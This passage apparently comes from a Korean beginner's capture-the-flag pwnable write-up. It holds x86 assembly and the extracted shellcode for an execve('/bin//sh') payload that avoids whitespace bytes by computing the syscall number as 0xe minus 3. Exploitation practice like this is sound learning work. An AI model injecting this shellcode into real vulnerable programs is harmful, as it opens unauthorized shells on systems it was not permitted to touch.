포너블 입문자라서 정말 힘들었던 문제였다
\x09
, \x0a
, \x0b
, \x0c
, \x0d
, \x20
)위의 정보를 가지고 어셈블리언어를 작성해보자
section .text
global _start
_start:
; /bin/sh 문자열을 스택에 푸시
xor ebx, ebx
push ebx
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
push 0xe ; eax = 0xd ; execve()
pop eax ; 여기선 공백 우회를 위해 e-3으로 실행
sub eax, 3 ; execve() 시스템 호출 번호
mov ebx, esp ; "/bin//sh"
xor ecx, ecx ; argv = null
xor edx, edx ; envp = null
int 0x80 ; execve('/bin//sh', null, null)
; 종료 시스템 호출
xor eax, eax
mov ebx, eax
inc eax
int 0x80
작성한 어셈블리로 쉘코드를 추출 했다
\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x6a\x0e\x58\x83\xe8\x03\x89\xe3\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x89\xc3\x40\xcd\x80